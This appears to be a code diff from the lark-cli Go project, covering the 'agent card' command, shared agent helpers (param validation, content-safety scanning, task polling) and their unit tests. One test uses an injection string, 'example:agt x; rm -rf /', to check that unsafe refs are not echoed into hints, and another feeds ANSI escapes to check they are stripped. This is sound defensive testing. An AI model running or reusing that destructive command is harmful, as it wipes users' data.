out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentCardRun(opts); err != nil {
|
||||
t.Fatalf("card json should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("json format should be a valid envelope: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
if !env.OK {
|
||||
t.Errorf("ok should be true: %+v", env)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentCardJqFlagRegisteredAndConsumed pins the quality-review fix: the
|
||||
// --jq flag must actually be REGISTERED on `agent card` (the run path already
|
||||
// called jqExpr/JqFilter, but without the flag `--jq` was an unknown-flag
|
||||
// exit 2 — and the skill doc teaches AI to copy `card ... --jq`). Executed via
|
||||
// the real command so registration + consumption are proven together.
|
||||
func TestAgentCardJqFlagRegisteredAndConsumed(t *testing.T) {
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
cmd := NewCmdAgentCard(f)
|
||||
cmd.SetOut(&bytes.Buffer{})
|
||||
cmd.SetErr(&bytes.Buffer{})
|
||||
cmd.SetContext(context.Background())
|
||||
cmd.SetArgs([]string{"example:echo", "--as", "bot", "--jq", ".data.agent_id"})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("card --jq should not error: %v", err)
|
||||
}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
got := strings.TrimSpace(string(out.Bytes()))
|
||||
if !strings.Contains(got, "echo") || strings.Contains(got, `"ok"`) {
|
||||
t.Errorf("--jq .data.agent_id should output only the filtered result, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintCardPretty_NilCard pins that a nil card degrades to a placeholder
|
||||
// line instead of panicking (card.go nil branch).
|
||||
func TestPrintCardPretty_NilCard(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printCardPretty(out, nil)
|
||||
if !strings.Contains(out.String(), "(no card)") {
|
||||
t.Errorf("nil card should print a placeholder line, got: %q", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintCardPretty_AllOptionalFields exercises every optional-field branch of
|
||||
// the pretty renderer that a minimal static card omits: the dynamic-card Name
|
||||
// (taking precedence over ProviderLabel), Description, declared Parameters, and
|
||||
// the Skills block (both the named skill and the id-fallback when Name is empty).
|
||||
func TestPrintCardPretty_AllOptionalFields(t *testing.T) {
|
||||
card := &iagent.AgentCard{
|
||||
Provider: "demo",
|
||||
ProviderLabel: "demo 自定义智能体",
|
||||
Name: "Demo Agent", // only dynamic cards have Name; it should override ProviderLabel
|
||||
AgentID: "agt_demo",
|
||||
Description: "a helpful demo agent",
|
||||
Identity: []iagent.IdentitySpec{
|
||||
{Type: "user"},
|
||||
{Type: "bot", Precondition: "需加入渠道白名单"},
|
||||
},
|
||||
Capabilities: iagent.Capabilities{
|
||||
MultiTurn: true,
|
||||
TaskCancel: false,
|
||||
},
|
||||
Parameters: []iagent.CardParam{
|
||||
{Name: "locale", Type: "string", Required: true, Desc: "reply locale"},
|
||||
},
|
||||
Skills: []iagent.CardSkill{
|
||||
{ID: "sk_1", Name: "Sales Analysis"},
|
||||
{ID: "sk_2"}, // no Name → falls back to ID
|
||||
},
|
||||
}
|
||||
out := &bytes.Buffer{}
|
||||
printCardPretty(out, card)
|
||||
text := out.String()
|
||||
|
||||
for _, want := range []string{
|
||||
"Demo Agent (agt_demo)", // dynamic Name takes precedence over ProviderLabel
|
||||
"a helpful demo agent", // Description branch
|
||||
"identity: user, bot", // IdentitySpec types are joined
|
||||
"需加入渠道白名单", // identity precondition must be visible in pretty (Task 11 wrap-up)
|
||||
"locale", // Parameters branch
|
||||
"skills:", // Skills block header
|
||||
"Sales Analysis", // skill with a Name
|
||||
"sk_2", // skill without a Name → id fallback
|
||||
} {
|
||||
if !strings.Contains(text, want) {
|
||||
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintCardPretty_StripsANSIFromRemoteFields pins that a remote card's
|
||||
// agent-controlled Name/Description cannot smuggle ANSI escapes to the
|
||||
// terminal (this sanitization is applied to every pretty surface).
|
||||
func TestPrintCardPretty_StripsANSIFromRemoteFields(t *testing.T) {
|
||||
card := &iagent.AgentCard{
|
||||
Provider: "demo",
|
||||
AgentID: "agt_demo",
|
||||
Name: "\x1b[31mEvil\x1b[0m Agent",
|
||||
Description: "desc\x1b[2Jwipe",
|
||||
}
|
||||
out := &bytes.Buffer{}
|
||||
printCardPretty(out, card)
|
||||
text := out.String()
|
||||
if strings.Contains(text, "\x1b") {
|
||||
t.Errorf("ANSI sequences in remote card fields must be stripped: %q", text)
|
||||
}
|
||||
if !strings.Contains(text, "Evil Agent") || !strings.Contains(text, "descwipe") {
|
||||
t.Errorf("readable text should remain after stripping, got: %q", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintCardPretty_StaticFallsBackToProviderLabel pins that a static card
|
||||
// (no dynamic Name) renders its ProviderLabel as the header.
|
||||
func TestPrintCardPretty_StaticFallsBackToProviderLabel(t *testing.T) {
|
||||
card := &iagent.AgentCard{
|
||||
Provider: "demo",
|
||||
ProviderLabel: "demo 自定义智能体",
|
||||
AgentID: "agt_demo",
|
||||
}
|
||||
out := &bytes.Buffer{}
|
||||
printCardPretty(out, card)
|
||||
if !strings.Contains(out.String(), "demo 自定义智能体 (agt_demo)") {
|
||||
t.Errorf("should fall back to ProviderLabel when Name is empty, got:\n%s", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentCardRun_InvalidRef surfaces a malformed ref as a validation error
|
||||
// before any provider is built.
|
||||
func TestAgentCardRun_InvalidRef(t *testing.T) {
|
||||
opts, _ := cardTestOpts(t, "no-colon")
|
||||
if err := agentCardRun(opts); err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentCard_ReadRiskAndArgs pins ExactArgs(1), read risk, and the
|
||||
// presence of --format and --as flags.
|
||||
func TestNewCmdAgentCard_ReadRiskAndArgs(t *testing.T) {
|
||||
cmd := NewCmdAgentCard(nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
|
||||
t.Errorf("agent card should be marked read risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{}); err == nil {
|
||||
t.Error("agent card missing ref should report an argument error (ExactArgs 1)")
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
|
||||
t.Errorf("agent card with a single ref should be valid: %v", err)
|
||||
}
|
||||
fl := cmd.Flags().Lookup("format")
|
||||
if fl == nil {
|
||||
t.Fatal("agent card should have a --format flag")
|
||||
}
|
||||
// Default output format is unified: card default flips from pretty to json.
|
||||
if fl.DefValue != "json" {
|
||||
t.Errorf("card --format default should flip to json, got %q", fl.DefValue)
|
||||
}
|
||||
if cmd.Flags().Lookup("as") == nil {
|
||||
t.Error("agent card should have an --as flag")
|
||||
}
|
||||
}
|
||||
314
cmd/agent/common.go
Normal file
314
cmd/agent/common.go
Normal file
@@ -0,0 +1,314 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// Package agent implements the `agent` command tree: a provider-agnostic
|
||||
// surface over remote A2A agents. This file holds the shared
|
||||
// command-layer helpers: ref→provider resolution, --param validation against a
|
||||
// Card, success-envelope emission, capability gating, and wait/watch polling.
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// supportedIdentities is the identity whitelist enforced for every agent
|
||||
// command; provider cards advertise (a subset of) the same set.
|
||||
var supportedIdentities = []string{string(core.AsUser), string(core.AsBot)}
|
||||
|
||||
// sleep is the package-level, test-injectable backoff sleep. It blocks for d or
|
||||
// until ctx is done, returning true if the full duration elapsed and false if
|
||||
// ctx was canceled first. Tests swap it for a no-op.
|
||||
var sleep = func(ctx context.Context, d time.Duration) bool {
|
||||
t := time.NewTimer(d)
|
||||
defer t.Stop()
|
||||
select {
|
||||
case <-t.C:
|
||||
return true
|
||||
case <-ctx.Done():
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// resolveProviderNoClient resolves the effective identity, enforces the
|
||||
// user|bot whitelist, and constructs the Provider addressed by ref WITHOUT
|
||||
// requiring a configured API client. It is the resolution path for the
|
||||
// API-free operations that always work — `agent card` (static synthesis) and
|
||||
// `agent send --dry-run` (client-side preview) — so they succeed even before
|
||||
// `lark-cli config init`. The provider's client is nil; only API-free methods
|
||||
// (Card) may be called on it. A malformed ref or unknown provider scheme is
|
||||
// wrapped into a validation typed error (subtype invalid_argument, exit 2), so
|
||||
// those surface before (not behind) the config gate.
|
||||
func resolveProviderNoClient(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (*iagent.Provider, core.Identity, error) {
|
||||
id := f.ResolveAs(cmd.Context(), cmd, core.Identity(asStr))
|
||||
if err := f.CheckIdentity(id, supportedIdentities); err != nil {
|
||||
return nil, "", err
|
||||
}
|
||||
p, err := iagent.Resolve(ref, iagent.Deps{As: id})
|
||||
if err != nil {
|
||||
// ParseRef / unknown-scheme errors already carry the validation wording;
|
||||
// promote them to a typed validation error (with a recovery hint)
|
||||
// so RunE never returns a bare error and the exit code / subtype are
|
||||
// stable.
|
||||
return nil, "", wrapRefResolveError(err)
|
||||
}
|
||||
return p, id, nil
|
||||
}
|
||||
|
||||
// wrapRefResolveError promotes a ParseRef / provider-resolution error to a
|
||||
// validation typed error (subtype invalid_argument, exit 2) and attaches the
|
||||
// recovery hint keyed to the failure mode: a malformed ref (no ':' / empty
|
||||
// half — matched via the ErrInvalidRef sentinel) teaches the <scheme>:<agent_id>
|
||||
// shape; an unknown scheme points at `agent list` to discover the available
|
||||
// providers. Both hints are copy-pasteable next steps, not just wording.
|
||||
func wrapRefResolveError(err error) error {
|
||||
e := errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err.Error()).WithCause(err)
|
||||
if errors.Is(err, iagent.ErrInvalidRef) {
|
||||
return e.WithHint("agent_ref 形如 <scheme>:<agent_id>,如 example:echo")
|
||||
}
|
||||
return e.WithHint("用 lark-cli agent list 查看可用 provider")
|
||||
}
|
||||
|
||||
// resolveProvider resolves the identity and constructs the Provider addressed
|
||||
// by ref backed by a configured API client, for commands that actually call the
|
||||
// remote API. Ref/scheme validation runs first (via resolveProviderNoClient) so
|
||||
// a malformed ref or unknown scheme is a validation error (exit 2) surfaced
|
||||
// BEFORE the config gate — an unconfigured user still gets the precise error,
|
||||
// not not_configured. Only after the ref is valid does it require a
|
||||
// configured client (not_configured / exit 3 is correct for a real API call).
|
||||
//
|
||||
// Wiring rule: every verb that calls the real API MUST run preflightScopesForRef
|
||||
// right after this succeeds and before the API call, so a new verb is
|
||||
// never silently exempt from the local scope preflight.
|
||||
func resolveProvider(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (*iagent.Provider, core.Identity, error) {
|
||||
_, id, err := resolveProviderNoClient(f, cmd, ref, asStr)
|
||||
if err != nil {
|
||||
return nil, "", err
|
||||
}
|
||||
apiClient, err := f.NewAPIClient()
|
||||
if err != nil {
|
||||
return nil, "", err
|
||||
}
|
||||
p, err := iagent.Resolve(ref, iagent.Deps{Client: apiClient, As: id})
|
||||
if err != nil {
|
||||
return nil, "", wrapRefResolveError(err)
|
||||
}
|
||||
return p, id, nil
|
||||
}
|
||||
|
||||
// cardHint builds the "check the agent card" hint. The ref is user-echoed
|
||||
// input: when it passes the safeNextRef whitelist the hint carries the
|
||||
// copy-pasteable command; otherwise it degrades to plain guidance without any
|
||||
// interpolated command (a ref containing spaces would make the command
|
||||
// non-copy-pasteable, and the hint is what an AI copies verbatim).
|
||||
func cardHint(ref, what string) string {
|
||||
if safeNextRef(ref) {
|
||||
return fmt.Sprintf("运行 lark-cli agent card %s 查看%s", ref, what)
|
||||
}
|
||||
return fmt.Sprintf("查看该 agent 的能力卡片(agent card 命令)确认%s", what)
|
||||
}
|
||||
|
||||
// parseAndValidateParams parses `key=value` --param pairs and validates them
|
||||
// against the card's Parameters declaration: every Required parameter must be
|
||||
// present, and every provided key must be declared (an undeclared key
|
||||
// would otherwise be silently dropped by the provider). A pair without '=' (or
|
||||
// an empty key), a missing required parameter, or an unknown key returns a
|
||||
// validation typed error (subtype invalid_argument, param "param:<key>")
|
||||
// whose hint points at `agent card <ref>`. A nil card skips both
|
||||
// card-driven checks.
|
||||
func parseAndValidateParams(kvs []string, card *iagent.AgentCard, ref string) (map[string]string, error) {
|
||||
m := make(map[string]string, len(kvs))
|
||||
for _, kv := range kvs {
|
||||
k, v, ok := strings.Cut(kv, "=")
|
||||
if !ok || k == "" {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"--param 格式应为 key=value,得到 %q", kv).
|
||||
WithParam("--param").
|
||||
WithHint("以 --param key=value 形式重发")
|
||||
}
|
||||
m[k] = v
|
||||
}
|
||||
if card != nil {
|
||||
declared := make(map[string]bool, len(card.Parameters))
|
||||
for _, p := range card.Parameters {
|
||||
declared[p.Name] = true
|
||||
}
|
||||
// Unknown keys are checked in input order so the reported key is
|
||||
// deterministic when several are undeclared.
|
||||
for _, kv := range kvs {
|
||||
k, _, _ := strings.Cut(kv, "=")
|
||||
if !declared[k] {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知参数 %s(该 agent 未声明此参数)", k).
|
||||
WithParam("param:"+k).
|
||||
WithHint("%s", cardHint(ref, " parameters 声明"))
|
||||
}
|
||||
}
|
||||
for _, p := range card.Parameters {
|
||||
if !p.Required {
|
||||
continue
|
||||
}
|
||||
if _, ok := m[p.Name]; !ok {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"缺少必填参数 %s(该 agent 要求)", p.Name).
|
||||
WithParam("param:"+p.Name).
|
||||
WithHint("%s", cardHint(ref, " parameters 声明"))
|
||||
}
|
||||
}
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
|
||||
// emitTask writes a task result: the standard success envelope carrying
|
||||
// meta.next[] hints for AI callers, or — with format=pretty and no --jq —
|
||||
// the key:value human view. Because the agent's messages/artifacts are
|
||||
// untrusted external content, the payload is run through content-safety
|
||||
// scanning before emission on BOTH paths (and the pretty path additionally
|
||||
// ANSI-strips agent text). A --jq expression, when the leaf command registers
|
||||
// one, implies structured JSON and filters stdout.
|
||||
func emitTask(f *cmdutil.Factory, cmd *cobra.Command, task *iagent.AgentTask, next []output.NextAction, format string) error {
|
||||
out := f.IOStreams.Out
|
||||
errOut := f.IOStreams.ErrOut
|
||||
|
||||
scan := output.ScanForSafety(cmd.CommandPath(), task, errOut)
|
||||
if scan.Blocked {
|
||||
return scan.BlockErr
|
||||
}
|
||||
|
||||
if format == "pretty" && jqExpr(cmd) == "" {
|
||||
if scan.Alert != nil {
|
||||
output.WriteAlertWarning(errOut, scan.Alert)
|
||||
}
|
||||
printTaskPretty(out, task)
|
||||
return nil
|
||||
}
|
||||
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(f.ResolvedIdentity),
|
||||
Data: task,
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if len(next) > 0 {
|
||||
env.Meta = &output.Meta{Next: next}
|
||||
}
|
||||
if scan.Alert != nil {
|
||||
env.ContentSafetyAlert = scan.Alert
|
||||
}
|
||||
|
||||
if jq := jqExpr(cmd); jq != "" {
|
||||
if scan.Alert != nil {
|
||||
output.WriteAlertWarning(errOut, scan.Alert)
|
||||
}
|
||||
return output.JqFilter(out, env, jq)
|
||||
}
|
||||
output.PrintJson(out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// jqExpr reads the --jq flag value if the leaf command registered one; absent
|
||||
// otherwise.
|
||||
func jqExpr(cmd *cobra.Command) string {
|
||||
if cmd == nil { // options structs built directly in tests may carry no Cmd
|
||||
return ""
|
||||
}
|
||||
if f := cmd.Flags().Lookup("jq"); f != nil {
|
||||
return f.Value.String()
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// capabilityError returns the unsupported_capability validation error (exit 2)
|
||||
// used for capability gating: capHuman is the human-facing action (e.g.
|
||||
// "task cancel"), capKey the Card capability key (e.g. task_cancel). The hint
|
||||
// interpolates ref only when it passes the whitelist (cardHint).
|
||||
func capabilityError(ref, capHuman, capKey string) error {
|
||||
return errs.NewValidationError(
|
||||
errs.SubtypeUnsupportedCapability,
|
||||
"agent '%s' 不支持 '%s'(capability %s=false)", ref, capHuman, capKey,
|
||||
).WithHint("%s", cardHint(ref, "支持的能力"))
|
||||
}
|
||||
|
||||
// normalizeTask derives the redundant IsTerminal flag from State — the single
|
||||
// source of truth — the moment a task enters the command layer, so a provider
|
||||
// that forgets (or mis-fills) the flag can never skew watch exit codes or an
|
||||
// AI caller's stop-polling decision. nil-safe; returns t for call-site chaining.
|
||||
func normalizeTask(t *iagent.AgentTask) *iagent.AgentTask {
|
||||
if t != nil {
|
||||
t.IsTerminal = t.State.IsTerminal()
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
// normalizeTaskSummaries derives IsTerminal from State for every summary (same
|
||||
// single-source rule as normalizeTask), returning the slice for chaining.
|
||||
func normalizeTaskSummaries(ts []iagent.TaskSummary) []iagent.TaskSummary {
|
||||
for i := range ts {
|
||||
ts[i].IsTerminal = ts[i].State.IsTerminal()
|
||||
}
|
||||
return ts
|
||||
}
|
||||
|
||||
// pollToStop polls GetTask with exponential backoff (1s → 5s cap) until the
|
||||
// task hits a stop condition (terminal, input_required, or auth_required)
|
||||
// or ctx is done. A timeout is not a failure: it returns the most recent
|
||||
// task with a nil error, letting the caller print the current state (exit 0). A
|
||||
// provider GetTask error is surfaced.
|
||||
func pollToStop(ctx context.Context, p *iagent.Provider, taskID string) (*iagent.AgentTask, error) {
|
||||
const (
|
||||
initialDelay = time.Second
|
||||
maxDelay = 5 * time.Second
|
||||
)
|
||||
var last *iagent.AgentTask
|
||||
delay := initialDelay
|
||||
for {
|
||||
task, err := p.GetTask(ctx, taskID)
|
||||
if err != nil {
|
||||
return last, err
|
||||
}
|
||||
last = task
|
||||
if task.State.ShouldStopPolling() {
|
||||
return task, nil
|
||||
}
|
||||
if ctx.Err() != nil {
|
||||
return last, nil //nolint:nilerr // a poll timeout is an observation-window close, not a task failure — return the last task with exit 0
|
||||
}
|
||||
if !sleep(ctx, delay) {
|
||||
// ctx canceled during backoff → observation window closed, not a
|
||||
// task failure.
|
||||
return last, nil
|
||||
}
|
||||
if delay < maxDelay {
|
||||
if delay *= 2; delay > maxDelay {
|
||||
delay = maxDelay
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// semanticExitError maps a wait/watch terminal task to the semantic exit code:
|
||||
// a non-successful terminal state (failed/rejected/canceled) yields a
|
||||
// silent exit-1 signal; any other state (including a successful terminal or a
|
||||
// non-terminal stop like input_required) yields nil. A nil task yields nil.
|
||||
func semanticExitError(task *iagent.AgentTask) error {
|
||||
if task == nil || !task.IsTerminal {
|
||||
return nil
|
||||
}
|
||||
switch task.State {
|
||||
case iagent.StateFailed, iagent.StateRejected, iagent.StateCanceled:
|
||||
return output.ErrBare(1)
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
798
cmd/agent/common_test.go
Normal file
798
cmd/agent/common_test.go
Normal file
@@ -0,0 +1,798 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
extcs "github.com/larksuite/cli/extension/contentsafety"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
func TestValidateParamsAgainstCard(t *testing.T) {
|
||||
// Card mixes a required and an optional param so both loop branches run:
|
||||
// the optional param must be skipped (the `!p.Required continue` path) while
|
||||
// the required one is still enforced.
|
||||
card := &iagent.AgentCard{Parameters: []iagent.CardParam{
|
||||
{Name: "app_id", Required: true},
|
||||
{Name: "locale", Required: false},
|
||||
}}
|
||||
// missing required
|
||||
if _, err := parseAndValidateParams([]string{}, card, "example:agt_x"); err == nil {
|
||||
t.Error("missing required app_id should error")
|
||||
}
|
||||
// provide required, omit optional: the optional param is skipped and must not error
|
||||
m, err := parseAndValidateParams([]string{"app_id=app_sales"}, card, "example:agt_x")
|
||||
if err != nil || m["app_id"] != "app_sales" {
|
||||
t.Fatalf("should parse app_id and allow omitting optional locale: %v %v", m, err)
|
||||
}
|
||||
if _, ok := m["locale"]; ok {
|
||||
t.Errorf("an optional param that was not provided should not appear in the result: %v", m)
|
||||
}
|
||||
// invalid format
|
||||
if _, err := parseAndValidateParams([]string{"noequals"}, card, "example:agt_x"); err == nil {
|
||||
t.Error("--param without = should error")
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseParams_ValueWithEquals ensures values may themselves contain '='
|
||||
// (only the first '=' splits key from value).
|
||||
func TestParseParams_ValueWithEquals(t *testing.T) {
|
||||
card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "filter"}}}
|
||||
m, err := parseAndValidateParams([]string{"filter=a=b"}, card, "example:agt_x")
|
||||
if err != nil {
|
||||
t.Fatalf("a value containing = should not error: %v", err)
|
||||
}
|
||||
if m["filter"] != "a=b" {
|
||||
t.Fatalf("value should preserve =, got %q", m["filter"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseParams_EmptyKey rejects an empty key (leading '=').
|
||||
func TestParseParams_EmptyKey(t *testing.T) {
|
||||
if _, err := parseAndValidateParams([]string{"=v"}, &iagent.AgentCard{}, "example:agt_x"); err == nil {
|
||||
t.Error("empty key should error")
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseParams_UnknownKeyRejected pins that a --param key not declared in the
|
||||
// card's Parameters is a validation error (subtype invalid_argument, param
|
||||
// "param:<key>") whose hint points at `agent card`; a declared optional key
|
||||
// still passes.
|
||||
func TestParseParams_UnknownKeyRejected(t *testing.T) {
|
||||
card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "foo"}}}
|
||||
m, err := parseAndValidateParams([]string{"foo=1"}, card, "example:agt_x")
|
||||
if err != nil || m["foo"] != "1" {
|
||||
t.Fatalf("a declared optional param should pass: %v %v", m, err)
|
||||
}
|
||||
|
||||
_, err = parseAndValidateParams([]string{"bar=1"}, card, "example:agt_x")
|
||||
if err == nil {
|
||||
t.Fatal("an undeclared --param should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.Param != "param:bar" {
|
||||
t.Fatalf("param should be param:bar, got %+v", verr)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
if !strings.Contains(p.Hint, "agent card example:agt_x") {
|
||||
t.Fatalf("hint should point to agent card, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseParams_NilCard tolerates a nil card (no required/unknown-param check).
|
||||
func TestParseParams_NilCard(t *testing.T) {
|
||||
m, err := parseAndValidateParams([]string{"k=v"}, nil, "example:agt_x")
|
||||
if err != nil || m["k"] != "v" {
|
||||
t.Fatalf("nil card should parse normally: %v %v", m, err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseParams_MissingRequiredIsValidation confirms the missing-required
|
||||
// error is a validation typed error with subtype invalid_argument, its param
|
||||
// carries the param: prefix, and its hint points at agent card (Task 2 review
|
||||
// leftover).
|
||||
func TestParseParams_MissingRequiredIsValidation(t *testing.T) {
|
||||
card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "app_id", Required: true}}}
|
||||
_, err := parseAndValidateParams([]string{}, card, "example:agt_x")
|
||||
if err == nil {
|
||||
t.Fatal("missing required should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
p, _ := errs.ProblemOf(err)
|
||||
if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.Param != "param:app_id" {
|
||||
t.Fatalf("param should be param:app_id, got %+v", verr)
|
||||
}
|
||||
if !strings.Contains(p.Hint, "agent card example:agt_x") {
|
||||
t.Fatalf("hint should point to agent card, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseParams_UnsafeRefDegradesHint pins the ref-interpolation whitelist on
|
||||
// the hint side: a ref that fails the <charset>:<charset> whitelist must not be
|
||||
// echoed into the hint command; the hint degrades to plain guidance instead.
|
||||
func TestParseParams_UnsafeRefDegradesHint(t *testing.T) {
|
||||
dirtyRef := "example:agt x; rm -rf /"
|
||||
card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "app_id", Required: true}}}
|
||||
|
||||
_, err := parseAndValidateParams([]string{}, card, dirtyRef)
|
||||
if err == nil {
|
||||
t.Fatal("missing required should error")
|
||||
}
|
||||
p, _ := errs.ProblemOf(err)
|
||||
if p == nil || p.Hint == "" {
|
||||
t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
|
||||
}
|
||||
if strings.Contains(p.Hint, dirtyRef) {
|
||||
t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
|
||||
}
|
||||
|
||||
// the unknown-param path is handled the same way.
|
||||
_, err = parseAndValidateParams([]string{"app_id=1", "bogus=1"}, card, dirtyRef)
|
||||
if err == nil {
|
||||
t.Fatal("an undeclared param should error")
|
||||
}
|
||||
p, _ = errs.ProblemOf(err)
|
||||
if p == nil || p.Hint == "" || strings.Contains(p.Hint, dirtyRef) {
|
||||
t.Fatalf("unknown-param hint should degrade and not contain the unsafe ref, got %+v", p)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCapabilityError_UnsafeRefDegradesHint pins the same whitelist on the
|
||||
// capability-gate hint: an unsafe ref degrades the hint to plain guidance.
|
||||
func TestCapabilityError_UnsafeRefDegradesHint(t *testing.T) {
|
||||
err := capabilityError("example:agt x", "task cancel", iagent.CapTaskCancel)
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Hint == "" {
|
||||
t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
|
||||
}
|
||||
if strings.Contains(p.Hint, "example:agt x") {
|
||||
t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCapabilityError pins the unsupported_capability contract.
|
||||
func TestCapabilityError(t *testing.T) {
|
||||
err := capabilityError("example:agt_xxx", "task cancel", iagent.CapTaskCancel)
|
||||
if err == nil {
|
||||
t.Fatal("should return an error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
|
||||
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitValidation {
|
||||
t.Fatalf("exit should be %d, got %d", output.ExitValidation, output.ExitCodeOf(err))
|
||||
}
|
||||
}
|
||||
|
||||
// TestSemanticExitError maps terminal task states to the wait/watch exit code.
|
||||
func TestSemanticExitError(t *testing.T) {
|
||||
cases := []struct {
|
||||
state iagent.TaskState
|
||||
wantExit int
|
||||
}{
|
||||
{iagent.StateCompleted, output.ExitOK},
|
||||
{iagent.StateFailed, 1},
|
||||
{iagent.StateRejected, 1},
|
||||
{iagent.StateCanceled, 1},
|
||||
{iagent.StateInputRequired, output.ExitOK}, // non-terminal, not treated as failure
|
||||
{iagent.StateWorking, output.ExitOK},
|
||||
}
|
||||
for _, c := range cases {
|
||||
task := &iagent.AgentTask{State: c.state, IsTerminal: c.state.IsTerminal()}
|
||||
err := semanticExitError(task)
|
||||
if got := output.ExitCodeOf(err); got != c.wantExit {
|
||||
t.Errorf("state=%s exit expected %d got %d (err=%v)", c.state, c.wantExit, got, err)
|
||||
}
|
||||
}
|
||||
// nil task should not panic and is treated as success
|
||||
if err := semanticExitError(nil); err != nil {
|
||||
t.Errorf("nil task should return nil, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// fakePollProvider drives pollToStop through a scripted state sequence. It is
|
||||
// not registered, so provider() only wires GetTask (the sole field pollToStop
|
||||
// touches); calls/err stay observable on the struct after the poll.
|
||||
